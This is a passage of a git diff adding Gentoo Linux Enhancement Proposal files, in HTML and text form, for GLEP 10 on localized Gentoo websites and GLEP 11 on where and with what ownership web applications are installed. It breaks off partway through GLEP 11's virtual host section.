+<p>All mails to <a class="reference" href="mailto:www-$lang&#64;gentoo.org">www-$lang&#64;gentoo.org</a> should be forwarded to the Lead
+Translator and his Follow-Up.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id14" id="xsl" name="xsl">XSL:</a></h2>
+<p>We need to &quot;hack&quot; our guide.xsl to support something like inserts.xml for the
+whole site.</p>
+<table class="docutils footnote" frame="void" id="gentoo" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="gentoo">[1]</a></td><td><a class="reference" href="http://www.gentoo.org">http://www.gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="gdp" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="gdp">[2]</a></td><td><a class="reference" href="http://gdp.gentoo.org">http://gdp.gentoo.org</a></td></tr>
+</tbody>
+</table>
+</div>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0010.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0010.txt b/xml/htdocs/proj/en/glep/glep-0010.txt
new file mode 100644
index 00000000..18dea77f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0010.txt
@@ -0,0 +1,146 @@
+GLEP: 10
+Title: Localized Gentoo Sites
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2004/08/22 13:57:11 $
+Author: Tobias Scherbaum <dertobi123@gentoo.org>, Sven Vermeulen <swift@gentoo.org>
+Status: deferred
+Created: 4-Aug-2003
+Post-History: 4-Aug-2003, 22-Aug-2003, 14-Mar-2004, 2-May-2004, 22-Aug-2004
+
+
+Status
+======
+
+Due to insufficient resources, the doc team is unable to implement
+this GLEP at this time.  It has therefore been marked "deferred".
+
+Abstract:
+=========
+
+The Gentoo Website [#gentoo]_ is the main source of documentation regarding
+Gentoo itself. It hosts all documents that the Gentoo Documentation Project
+[#gdp]_ delivers, including all made translations. In addition the website
+contains the GWN and its translations and several news items.
+
+
+Motivation:
+===========
+
+Lots of people have shown interest in the localization proposal, and
+even the infrastructure team has given positive feedback. However, due
+to lack of a good roadmap and proposal this suggestion has never grown
+beyond what it is now: a suggestion. Between the first draft of this
+proposal and now some communities grown faster than others. Actually it
+is obvious that we have big communities (lots of users, lots of
+translators) and smaller communities (less users, less translators). If
+we speak about localized Gentoo sites we need to find a capable
+solution for small and even bigger communities. This leads us to a
+point where the lead translator can decide between a small localized
+site including necessarily translated documents and only some
+additional pages and a bigger variant with lots of translated gdp
+documents, translated news and gwn plus additional pages.
+
+
+Rationale:
+==========
+
+The current layout regarding documentation in the CVS is as follows:
+  
+  [gentoo]/xml/htdocs/doc/en/*
+  [gentoo]/xml/htdocs/doc/nl/*
+  [gentoo]/xml/htdocs/doc/fr/*
+
+However, there are several other documents (about, policy, etc) in
+main/$lang:
+
+  [gentoo]/xml/htdocs/main/en/*
+  [gentoo]/xml/htdocs/main/nl/*
+  [gentoo]/xml/htdocs/main/fr/*
+
+This structure makes it very difficult for assigning permissions to the
+individual translation teams, and even more difficult to really localize
+the Gentoo Website. At this very moment, the translation teams can edit
+documents of other languages or even the master English documents. English
+reviewers and editors can touch documents of languages they possibly don't
+even know. Although we do trust every single documentation editor, a better
+implementation is advisable. We also can't give access to well-known
+but non-dev translators.
+
+We want to restructure the current layout so that the Gentoo Website is
+more easily internationalized.
+
+
+Implementation:
+===============
+
+Website Pages:
+--------------
+
+The Lead Translator can choose if he wants to maintain a "small" or a
+"big" localized site. All localized sites will be accessible on
+http://$lang.gentoo.org which will point to [gentoo]xml/htdocs/$lang.
+All localized sites must be implemented in GuideXML.
+
+Requirements for "small" localized sites:
+.........................................
+
+  - all documents marked as required in our Translators Howto
+  - $lang/main/translators.xml, listing of all translators (including
+    GWN translators)
+  - $lang/main/communities.xml, listing of all community sites available in $lang
+  - index.xml "welcome page", listing of available ressources on
+    $lang.gentoo.org (i.e. links to documentation, translators.xml and
+    communities.xml)
+
+Requirements for "big" localized sites:
+.......................................
+  
+  - all documents marked as required in our Translators Howto
+  - $lang/main/translators.xml, listing of all translators (including
+    GWN translators)
+  - $lang/main/communities.xml, listing of all community sites available in $lang
+  - translated $lang/main documents
+  - translated $lang/news/gwn
+  - translated news items ($lang/news) (only translated news items,
+    news items on a per-lang basis aren't allowed)
+
+
+CVS Structure:
+--------------
+
+Actual scheme, everything is relative to [gentoo]/xml/htdocs::
+
+  main/en         Contains the main Gentoo Website (about, policy, lists, etc.)
+  main/$lang      Contains some translated Website pages
+  doc/en          Contains the master English Documentation
+  doc/$lang       Contains the translated Documentation
+  news            Contains English news items
+  news/en/gwn     Contains the master English GWNs
+  news/$lang/gwn  Contains translated GWNs
+  proj/en         Contains the project Webpages
+
+Proposed scheme, relative to [gentoo]/xml/htdocs::
+
+  $lang/main      Contains some translated Website pages
+  $lang/doc       Contains the translated Documentation
+  $lang/news      Contains translated news items
+  $lang/news/gwn  Contains translated GWNs
+
+Mail:
+-----
+
+All mails to www-$lang@gentoo.org should be forwarded to the Lead
+Translator and his Follow-Up.
+
+
+XSL:
+----
+
+We need to "hack" our guide.xsl to support something like inserts.xml for the
+whole site.
+
+
+
+.. [#gentoo] http://www.gentoo.org
+.. [#gdp] http://gdp.gentoo.org
+
diff --git a/xml/htdocs/proj/en/glep/glep-0011.html b/xml/htdocs/proj/en/glep/glep-0011.html
new file mode 100644
index 00000000..58ae30cf
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0011.html
@@ -0,0 +1,427 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 11 -- Web Application Installation</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0011.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">11</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Web Application Installation</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0011.txt?cvsroot=gentoo">2006/09/04 03:12:43</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Troy Dack &lt;tad&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Stuart Herbert &lt;stuart&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Discussions-To:</th><td class="field-body"><a class="reference" href="mailto:gentoo-dev&#64;gentoo.org?subject=PEP%2011">gentoo-dev&#32;&#97;t&#32;gentoo.org</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">02-August-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">07-Aug-2003, 12-Aug-2003, 13-Aug-2003, 3-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id7" name="id7">Status</a></li>
+<li><a class="reference" href="#credits" id="id8" name="id8">Credits</a></li>
+<li><a class="reference" href="#definitions" id="id9" name="id9">Definitions</a></li>
+<li><a class="reference" href="#conventions" id="id10" name="id10">Conventions</a></li>
+<li><a class="reference" href="#abstract" id="id11" name="id11">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id12" name="id12">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id13" name="id13">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id14" name="id14">Implementation</a><ul>
+<li><a class="reference" href="#web-server" id="id15" name="id15">1. Web Server</a><ul>
+<li><a class="reference" href="#default-document-root" id="id16" name="id16">1.1 Default Document Root</a></li>
+<li><a class="reference" href="#apache-2" id="id17" name="id17">1.2 Apache 2</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#application-installation" id="id18" name="id18">2. Application Installation</a><ul>
+<li><a class="reference" href="#application-slots" id="id19" name="id19">2.1 Application SLOTs</a></li>
+<li><a class="reference" href="#installation-paths" id="id20" name="id20">2.2 Installation Paths</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#virtual-host-support" id="id21" name="id21">3. Virtual Host Support</a><ul>
+<li><a class="reference" href="#new-vhost-use-flag" id="id22" name="id22">3.1 New &quot;vhost&quot; USE Flag</a></li>
+<li><a class="reference" href="#vhost-configuration-tool" id="id23" name="id23">3.2 VHost Configuration Tool</a></li>
+<li><a class="reference" href="#single-host-installation" id="id24" name="id24">3.3 Single Host Installation</a></li>
+<li><a class="reference" href="#virtual-host-installation" id="id25" name="id25">3.4 Virtual Host Installation</a></li>
+<li><a class="reference" href="#configuration-files" id="id26" name="id26">3.5 Configuration Files</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#application-permissions" id="id27" name="id27">4. Application Permissions</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id28" name="id28">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id29" name="id29">References</a></li>
+<li><a class="reference" href="#copyright" id="id30" name="id30">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="status" name="status">Status</a></h1>
+<p>As of 2006-09-03 the webapp eclass has existed for some time.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="credits" name="credits">Credits</a></h1>
+<p>Based on comments posted to gentoo-dev mailing list <a class="footnote-reference" href="#webapppost1" id="id1" name="id1">[1]</a>
+<a class="footnote-reference" href="#webapppost2" id="id2" name="id2">[2]</a> <a class="footnote-reference" href="#webapppost3" id="id3" name="id3">[3]</a> by:</p>
+<blockquote>
+Stuart Herbert &lt;stuart at gentoo.org&gt;, Max Kalika &lt;max at gentoo.org&gt;,
+Robin H.Johnson &lt;robbat2 at gentoo.org&gt; and others</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="definitions" name="definitions">Definitions</a></h1>
+<blockquote>
+<dl class="docutils">
+<dt><em>Web Application</em></dt>
+<dd>an application that requires a web server to function and interacts with
+the user via a browser</dd>
+<dt><em>Web Application Instance</em></dt>
+<dd>An apparent install of the Web Application that is served up via the
+webserver. There may be any number of instances per Web Application.
+This is a major use for web applications. Our Gentoo Zope setup
+already provides instances and can be used for some concepts on this
+matter.</dd>
+<dt><em>Web Application Setup Program</em></dt>
+<dd>A script similar in function to zope-config that sets up instances.</dd>
+<dt><em>Document Root</em></dt>
+<dd>a location in the file system that forms the main document tree visible from
+the web</dd>
+</dl>
+</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="conventions" name="conventions">Conventions</a></h1>
+<blockquote>
+<p>When describing the location of a directory in the file system it
+wil be shown <em>with</em> a trailing slash, eg:</p>
+<pre class="literal-block">
+/foo/bar/
+</pre>
+<p>When describing the location of a specific file (irrespective of any
+file extention) it will shown <em>with out</em> a trailing slash, eg:</p>
+<pre class="literal-block">
+/foo/blah
+</pre>
+</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="abstract" name="abstract">Abstract</a></h1>
+<p>To define where and how web based applications should be installed by Gentoo.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="motivation" name="motivation">Motivation</a></h1>
+<p>Currently there is no standard defined regarding the installation of web
+based applicaitons in Gentoo.  This leads to ebuild authors creating a
+variety of methods to determine:</p>
+<blockquote>
+<ul class="simple">
+<li>where the application should be installed</li>
+<li>what user and permissions the application should be given</li>
+<li>where any configuration files related to the application should be
+installed.</li>
+</ul>
+</blockquote>
+<p>Due to a lack of standard install method configuration files are at
+risk of being overwritten during upgrade, potentially causing system
+administrators down tine as they have to reconfigure web applications
+after an upgrade.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="rationale" name="rationale">Rationale</a></h1>
+<p>A discussion on the gentoo-dev mailing list <a class="footnote-reference" href="#webapppost1" id="id4" name="id4">[1]</a> raised the
+following points regarding how Gentoo handles the installation of web based
+applications:</p>
+<blockquote>
+<ol class="arabic">
+<li><p class="first">Gentoo installed web applications (eg: horde, phpbb, cacti,
+phpmysql) should not be installed in the Document Root of a web server.</p>
+</li>
+<li><p class="first">Web applications should not have their configuration files installed
+under the Document Root of a web server.</p>
+<blockquote>
+<ol class="lowerroman simple">
+<li>Web Application must be slotted by their full version numbers to
+further avoid downtime when true configuration changes are required.</li>
+</ol>
+</blockquote>
+</li>
+<li><p class="first">Web applications should not be owned by the same user as the web server.</p>
+</li>
+<li><p class="first">It should be easily possible to have multiple instances of a web
+application without any duplication of source files.</p>
+</li>
+<li><p class="first">It should be immediately apparent how to control instances of a web
+application.</p>
+</li>
+</ol>
+</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="implementation" name="implementation">Implementation</a></h1>
+<p>Max Kalika &lt;max at gentoo.org&gt; stated that he has a preliminary eclass that
+implements a good deal of this GLEP.</p>
+<p>Stuart Herbert &lt;stuart at gentoo.org&gt; has committed:</p>
+<pre class="literal-block">
+webapp-apache.eclass
+</pre>
+<p>to CVS, this is a stop-gap measure whilst this GLEP is being finalised.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id15" id="web-server" name="web-server">1. Web Server</a></h2>
+<p>A common default web server should be selected.  Selection of a default web
+server will help to reduce the number of bugs that are reported.</p>
+<p>Given the popularity of the Apache web server it is suggested that Apache be
+selected as the Gentoo default web server.</p>
+<p>The Virtual Host Configuration tool (see below) will transparently support
+different web servers, thus enabling web applications to be installed on a
+Gentoo system irrespective of the installed web server.</p>
+<div class="section">
+<h3><a class="toc-backref" href="#id16" id="default-document-root" name="default-document-root">1.1 Default Document Root</a></h3>
+<p>The current default Document Root for Gentoo is /home/httpd/, this is
+unsuitable for a couple of reasons:</p>
+<blockquote>
+<ul class="simple">
+<li>/home/ may be exported via nfs to numerous other hosts, it is not
+acceptable to share publically accessible files with numerous hosts.</li>
+<li>there is a potential (all be it small) for a user name clash</li>
+</ul>
+</blockquote>
+<p>To ensure the greatest flexibility when installing applications the following
+<em>Document Root</em> locations are to be used:</p>
+<blockquote>
+<ul>
+<li><p class="first">For single host installations:</p>
+<pre class="literal-block">
+/var/www/localhost/
+</pre>
+</li>
+<li><p class="first">For multiple virtual host installations:</p>
+<pre class="literal-block">
+/var/www/&lt;fully qualified domain name&gt;/
+
+eg:
+        /var/www/www.gentoo.org/
+</pre>
+</li>
+</ul>
+</blockquote>
+<p>Additionally the chosen location ( /var/www/ ) appears to be becoming a defacto
+standard for Linux distributions.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id17" id="apache-2" name="apache-2">1.2 Apache 2</a></h3>
+<p>All web application .ebuilds will honour any USE flags that are intended to
+add support for Apache 2 as well as supporting Apache 1 installations.</p>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id18" id="application-installation" name="application-installation">2. Application Installation</a></h2>
+<p>The current accepted standard Document Root in Gentoo is /home/httpd.  The
+discussion suggest that this is not the best location to install web based
+applications.</p>
+<div class="section">
+<h3><a class="toc-backref" href="#id19" id="application-slots" name="application-slots">2.1 Application SLOTs</a></h3>
+<p>All ebuilds are to set the SLOT variable as follows:</p>
+<pre class="literal-block">
+SLOT=&quot;${PV}&quot;
+</pre>
+<p>Setting the SLOT variable as shown will enable different versions of the same
+web application to be served concurrently by one server.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id20" id="installation-paths" name="installation-paths">2.2 Installation Paths</a></h3>
+<p>Web applications should be installed outside of the Document Root using the following
+defaults:</p>
+<blockquote>
+<ul>
+<li><p class="first">for files to be served to clients:</p>
+<pre class="literal-block">
+/usr/share/webapps/${PF}/htdocs/
+
+/usr/share/webapps/${PF}/cgi-bin/
+</pre>
+</li>
+<li><p class="first">install <em>site default</em> configuration files in:</p>
+<pre class="literal-block">
+/etc/webapps/${PF}/
+</pre>
+</li>
+<li><p class="first">for documentation files (not served to clients):</p>
+<pre class="literal-block">
+/usr/share/doc/${PF}/
+</pre>
+</li>
+</ul>
+</blockquote>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id21" id="virtual-host-support" name="virtual-host-support">3. Virtual Host Support</a></h2>
+<p>The ability to easily configure and administer multiple virtual hosts is a
+must.</p>
+<div class="section">
+<h3><a class="toc-backref" href="#id22" id="new-vhost-use-flag" name="new-vhost-use-flag">3.1 New &quot;vhost&quot; USE Flag</a></h3>
+<p>To enable support for multiple virtual host installations a new USE flag is
+to be added to Portage. The use flag will be:</p>
+<pre class="literal-block">
+vhost
+</pre>
+<p>When <em>vhost</em> is _set_ the installation location and configuration for the web
+application will be effected, see below for more details.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id23" id="vhost-configuration-tool" name="vhost-configuration-tool">3.2 VHost Configuration Tool</a></h3>
+<p>To assist administration of multiple virtual hosts a &quot;VHost Configuration Tool&quot;
+needs to be developed and implemented.  Initial discussion regarding the VHost
+Config tool and proposed usage can be found at <a class="reference" href="http://article.gmane.org/gmane.linux.gentoo.devel/10874">http://article.gmane.org/gmane.linux.gentoo.devel/10874</a>.</p>
+<p>It's the job of the VHost Config toolset to make a local instance of the web
+application run under a specific web server.</p>
+<p>The VHost Configuration Utility will need to be a seperate package, maintained by Gentoo.</p>
+<p>Web Server .ebuilds will require the VHost Config tool as a dependency (DEPEND).</p>
+<p><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=26293">Bug #26293</a> <a class="footnote-reference" href="#id5" id="id6" name="id6">[4]</a> will be used to track the initial progress of the VHost
+Configuration Tool.</p>
+<p>The vhost-config must do three main things:</p>
+<blockquote>
+<ul class="simple">
+<li>creates directories (copies a skeleton directory for the most part).</li>
+<li>create web server vhost config files.</li>
+<li>HUP web server so it reads in the new config without stopping.</li>
+</ul>
+</blockquote>
+<p>Initially the VHost Config tool should provide support for the Apache web
+server.  As the tool matures support for other web servers can be added.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id24" id="single-host-installation" name="single-host-installation">3.3 Single Host Installation</a></h3>
+<p>For single host installations the .ebuild will make the required
+configurations changes and symlinks using the VHost Config tool to ensure
+that the web application is available to be served from:</p>
+<pre class="literal-block">
+/var/www/localhost/htdocs/${PF}/
+</pre>
+<p>In this case it may be feasible for the VHost Config tool to simply symlink the
+directories from /usr/share/webapps/${PF}/ as is appropriate.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id25" id="virtual-host-installation" name="virtual-host-installation">3.4 Virtual Host Installation</a></h3>
+<p>For installations that support multiple virtual hosts the .ebuild will
+install the web application into the default location and then leave configuration
+to the user through the VHost Config tool.</p>
+<p>In this case the web application files will be copied from
+/usr/share/webapps/${PF}/ to /var/www/&lt;FQDN&gt;/ by the VHost Config tool.</p>
+</div>
+<div class="section">
+<h3><a class="toc-backref" href="#id26" id="configuration-files" name="configuration-files">3.5 Configuration Files</a></h3>
+<p>As stated above web application <em>site default</em> configuration files are to be
+installed into:</p>
+<pre class="literal-block">
+/etc/webapps/${PF}/
+</pre>
+<p>The files in this directory are then copied (not symlinked!) by the VHost
+Config tool to the Document Root for each instance of the app that is installed.</p>
+<p>This will require the VHost Config toolset to emulate Portage's CONFIG_PROTECT
+behaviour for the web applications.</p>
+</div>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id27" id="application-permissions" name="application-permissions">4. Application Permissions</a></h2>
+<p>Installing web applications and giving the web server ownership of the files
+is a security risk.  This can possibly lead to application configuration
+files being accessed by unwanted third parties.</p>
+<p>All web applications should be owned by <em>root</em> unless the application
+absolutely requires write access to its installation directories at execution
+time.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id28" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>There may be some issues regarding compatibility with existing installs of
+web applications.  This is particularly true if the default Document Root is
+moved from what is accepted as the current standard (/home/httpd).</p>
+<dl class="docutils">
+<dt>The main issues are:</dt>
+<dd><ul class="first last simple">
+<li>transition of existing configuration files to the
+/etc/webapps/${PF}/ directory.</li>
+<li>modification/reconfiguration of applications so that they
+are aware of the location of configuration files.</li>
+<li>creating the VHost Config toolset to enable installation and
+configuration of web applications irrespective of web server.</li>
+</ul>
+</dd>
+</dl>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id29" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="webapppost1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="webapppost1">[1]</a></td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id4">2</a>)</em> <a class="reference" href="http://article.gmane.org/gmane.linux.gentoo.devel/10411">http://article.gmane.org/gmane.linux.gentoo.devel/10411</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="webapppost2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="webapppost2">[2]</a></td><td><a class="reference" href="http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&amp;root=%3C1059843010.5023.80.camel%40carbon.internal.lan%3E">http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&amp;root=%3C1059843010.5023.80.camel%40carbon.internal.lan%3E</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="webapppost3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="webapppost3">[3]</a></td><td><a class="reference" href="http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&amp;root=%3C86960000.1060038977%40valkyrie.lsit.ucsb.edu%3E">http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&amp;root=%3C86960000.1060038977%40valkyrie.lsit.ucsb.edu%3E</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id5" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="id5">[4]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=26293">http://bugs.gentoo.org/show_bug.cgi?id=26293</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id30" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0011.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0011.txt b/xml/htdocs/proj/en/glep/glep-0011.txt
new file mode 100644
index 00000000..a39cce77
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0011.txt
@@ -0,0 +1,321 @@
+GLEP: 11
+Title: Web Application Installation
+Version: $Revision: 1.6 $
+Last-Modified: $Date: 2006/09/04 03:12:43 $
+Author: Troy Dack <tad@gentoo.org>
+Author: Stuart Herbert <stuart@gentoo.org>
+Discussions-To: gentoo-dev@gentoo.org
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 02-August-2003
+Post-History: 07-Aug-2003, 12-Aug-2003, 13-Aug-2003, 3-Sep-2006
+
+Status
+======
+
+As of 2006-09-03 the webapp eclass has existed for some time.
+
+Credits
+=======
+
+Based on comments posted to gentoo-dev mailing list [#WebAppPost1]_
+[#WebAppPost2]_ [#WebAppPost3]_ by:
+
+	Stuart Herbert <stuart at gentoo.org>, Max Kalika <max at gentoo.org>,
+	Robin H.Johnson <robbat2 at gentoo.org> and others
+
+Definitions
+===========
+
+	*Web Application*
+		an application that requires a web server to function and interacts with
+		the user via a browser
+
+	*Web Application Instance*
+		An apparent install of the Web Application that is served up via the
+		webserver. There may be any number of instances per Web Application.
+		This is a major use for web applications. Our Gentoo Zope setup
+		already provides instances and can be used for some concepts on this
+		matter.
+
+	*Web Application Setup Program*
+		A script similar in function to zope-config that sets up instances.
+
+	*Document Root*
+		a location in the file system that forms the main document tree visible from
+		the web
+
+Conventions
+===========
+
+	When describing the location of a directory in the file system it
+	wil be shown *with* a trailing slash, eg::
+
+		/foo/bar/
+
+	When describing the location of a specific file (irrespective of any
+	file extention) it will shown *with out* a trailing slash, eg::
+
+		/foo/blah
+
+Abstract
+========
+
+To define where and how web based applications should be installed by Gentoo.
+
+Motivation
+==========
+
+Currently there is no standard defined regarding the installation of web
+based applicaitons in Gentoo.  This leads to ebuild authors creating a
+variety of methods to determine:
+
+	* where the application should be installed
+	* what user and permissions the application should be given
+	* where any configuration files related to the application should be
+	  installed.
+
+Due to a lack of standard install method configuration files are at
+risk of being overwritten during upgrade, potentially causing system
+administrators down tine as they have to reconfigure web applications
+after an upgrade.
+
+Rationale
+=========
+
+A discussion on the gentoo-dev mailing list [#WebAppPost1]_ raised the
+following points regarding how Gentoo handles the installation of web based
+applications:
+
+	1. Gentoo installed web applications (eg: horde, phpbb, cacti,
+	   phpmysql) should not be installed in the Document Root of a web server.
+	2. Web applications should not have their configuration files installed
+	   under the Document Root of a web server.
+
+		i. Web Application must be slotted by their full version numbers to
+		   further avoid downtime when true configuration changes are required.
+
+	3. Web applications should not be owned by the same user as the web server.
+	4. It should be easily possible to have multiple instances of a web
+	   application without any duplication of source files.
+	5. It should be immediately apparent how to control instances of a web
+	   application.
+
+Implementation
+==============
+
+Max Kalika <max at gentoo.org> stated that he has a preliminary eclass that
+implements a good deal of this GLEP.
+
+Stuart Herbert <stuart at gentoo.org> has committed::
+
+	webapp-apache.eclass
+
+to CVS, this is a stop-gap measure whilst this GLEP is being finalised.
+
+
+1. Web Server
+-------------
+
+A common default web server should be selected.  Selection of a default web 
+server will help to reduce the number of bugs that are reported.
+
+Given the popularity of the Apache web server it is suggested that Apache be 
+selected as the Gentoo default web server.
+
+The Virtual Host Configuration tool (see below) will transparently support
+different web servers, thus enabling web applications to be installed on a 
+Gentoo system irrespective of the installed web server.
+
+1.1 Default Document Root
+'''''''''''''''''''''''''
+
+The current default Document Root for Gentoo is /home/httpd/, this is
+unsuitable for a couple of reasons:
+
+	* /home/ may be exported via nfs to numerous other hosts, it is not
+	  acceptable to share publically accessible files with numerous hosts.
+
+	* there is a potential (all be it small) for a user name clash
+
+To ensure the greatest flexibility when installing applications the following
+*Document Root* locations are to be used:
+
+	* For single host installations::
+
+		/var/www/localhost/
+
+	* For multiple virtual host installations::
+
+		/var/www/<fully qualified domain name>/
+
+		eg:
+			/var/www/www.gentoo.org/
+
+Additionally the chosen location ( /var/www/ ) appears to be becoming a defacto
+standard for Linux distributions.
+
+1.2 Apache 2
+''''''''''''
+
+All web application .ebuilds will honour any USE flags that are intended to
+add support for Apache 2 as well as supporting Apache 1 installations.
+
+2. Application Installation
+---------------------------
+
+The current accepted standard Document Root in Gentoo is /home/httpd.  The
+discussion suggest that this is not the best location to install web based
+applications.
+
+2.1 Application SLOTs
+'''''''''''''''''''''
+
+All ebuilds are to set the SLOT variable as follows::
+
+	SLOT="${PV}"
+
+Setting the SLOT variable as shown will enable different versions of the same
+web application to be served concurrently by one server.
+
+2.2 Installation Paths
+''''''''''''''''''''''
+
+Web applications should be installed outside of the Document Root using the following
+defaults:
+
+	* for files to be served to clients::
+
+		/usr/share/webapps/${PF}/htdocs/
+
+		/usr/share/webapps/${PF}/cgi-bin/
+
+	* install *site default* configuration files in::
+
+		/etc/webapps/${PF}/
+
+	* for documentation files (not served to clients)::
+
+		/usr/share/doc/${PF}/
+
+3. Virtual Host Support
+-----------------------
+
